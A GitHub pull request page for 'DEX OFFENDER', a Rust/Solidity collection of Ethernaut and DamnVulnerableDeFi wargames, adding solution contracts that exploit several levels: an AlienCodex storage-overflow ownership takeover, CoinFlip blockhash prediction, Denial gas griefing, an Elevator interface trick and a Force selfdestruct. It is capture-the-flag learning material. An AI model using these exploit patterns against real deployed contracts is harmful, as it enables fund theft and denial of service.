Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Lev solutions #9

Closed
wants to merge 19 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 5 additions & 5 deletions Cargo.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

2 changes: 1 addition & 1 deletion Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -7,9 +7,9 @@ exclude = [".github/", "**/tests/", "**/contracts/", "**/cache/", "**/out/"]

[workspace.dependencies]
eyre = "0.6"
ethers = "2.0.8"
rand = "0.8.5"
serde = "1.0.164"
serde_json = "1.0.99"
async-trait = "0.1.68"
tokio = { version = "1.19", features = ["macros", "rt-multi-thread", "time"] }
ethers = { version = "2", default-features = false, features = ["rustls"] }
8 changes: 7 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,9 @@
1) bind-attack
2) cargo test -p attack -- --nocapture
3) deploy-levels (перед этим анвил остановить, который крутит блокчейн) //нужно, если set up изменена

4) cargo build (если удалить папку target) //не трогать

# DEX OFFENDER

A compilation of smart contract wargames (currently only Ethernaut and DamnVulnerableDeFi). You can find the levels in `./contracts/$GAME_NAME` and add your solution to `./attack/src/$GAME_NAME/hack*.rs`.
Expand Down Expand Up @@ -98,7 +104,7 @@ impl ctf::Exploit for Exploit {
// This is how you "connect" to a deployed contract. You can see how it was deployed
// in ./ctf/src/ethernaut/lvl01_fallback.rs
let contract =
Fallback::new(target.contract_address, offender.clone());
Fallback::new(target.address, offender.clone());

// This is how you call a contract function with no arguments:
contract.contribute().value(1).send().await?.await?;
Expand Down
1 change: 0 additions & 1 deletion attack/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,6 @@
name = "attack"
version = "0.1.0"
edition = "2021"

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]
Expand Down
48 changes: 48 additions & 0 deletions attack/contracts/ethernaut/AlienCodexExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../../../ctf/contracts/ethernaut/helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function makeContact() public {
contact = true;
}

function record(bytes32 _content) public contacted {
codex.push(_content);
}

function retract() public contacted {
codex.length--;
}

function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
}

contract HumanIsStronger {
address public owner;
AlienCodex original;

constructor(address payable _to) public {
owner = msg.sender;
original = AlienCodex(_to);
}

uint256 overflow = uint256(-1) - uint256(keccak256(abi.encode(1))) + 1;

function boom(address offender) public {
original.makeContact();
original.retract();
original.revise(overflow, bytes32(uint256(uint160(offender))));
}
}
60 changes: 60 additions & 0 deletions attack/contracts/ethernaut/CoinFlipExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,60 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
* @title Ethernaut Level 3: CoinFlip
*
* This is a coin flipping game where you need to build up your winning streak by
* guessing the outcome of a coin flip. To complete this target you'll need to
* use your psychic abilities to guess the correct outcome 10 times in a row.
*/
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

contract HackCoinFlip {
CoinFlip public coinContract;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor(address _coin) public {
coinContract = CoinFlip(_coin);
}

function guess() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == true) {
coinContract.flip(true);
} else {
coinContract.flip(false);
}
}
}
70 changes: 70 additions & 0 deletions attack/contracts/ethernaut/DenialExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
* @title Ethernaut Level 20: Denial
*
* This is a simple wallet that drips funds over time. You can withdraw the
* funds slowly by becoming a withdrawing partner.
*
* If you can deny the owner from withdrawing funds when they call withdraw()
* (whilst the contract still has funds, and the transaction is of 1M gas or less)
* you will win this level.
*/
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}

// allow deposit of funds
receive() external payable {}

// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}

contract InfiniteCalculation {
address public owner;
Denial original;

constructor(address payable _to) public {
owner = msg.sender;
original = Denial(_to);
}

function boom() public {
original.setWithdrawPartner(address(this));
original.withdraw();
}

fallback() external payable {
assembly {
invalid()
}
}

receive() external payable {
assembly {
invalid()
}
}
}
44 changes: 44 additions & 0 deletions attack/contracts/ethernaut/ElevatorExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
bool public top;
uint256 public floor;

function goTo(uint256 _floor) public {
Building building = Building(msg.sender);

if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

contract BuildingContract is Building {
address public owner;
Elevator public original;
bool is_first = true;

constructor(address payable _to) public {
owner = msg.sender;
original = Elevator(_to);
}

function gogo() public {
original.goTo(666);
}

function isLastFloor(uint256) public returns (bool) {
if (is_first) {
is_first = false;
return false;
} else {
return true;
}
}
}
40 changes: 40 additions & 0 deletions attack/contracts/ethernaut/ForceExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
* @title Ethernaut Level 7: Force
*
* Some contracts will simply not take your money ¯\_(ツ)_/¯
*
* The goal of this level is to make the balance of the contract greater than zero.
*
* Things that might help:
* - Fallback methods
* - Sometimes the best way to attack a contract is with another contract.
*/
contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }

contract MoneyGiver {
address public owner;
uint256 public balance = 0;
address payable forceAddress;

constructor(address _forceAddress) {
owner = msg.sender;
forceAddress = payable(_forceAddress);
}

function deposit() external payable {
balance += msg.value;
}

function boom() public payable {
selfdestruct(forceAddress);
}
}
Loading
Loading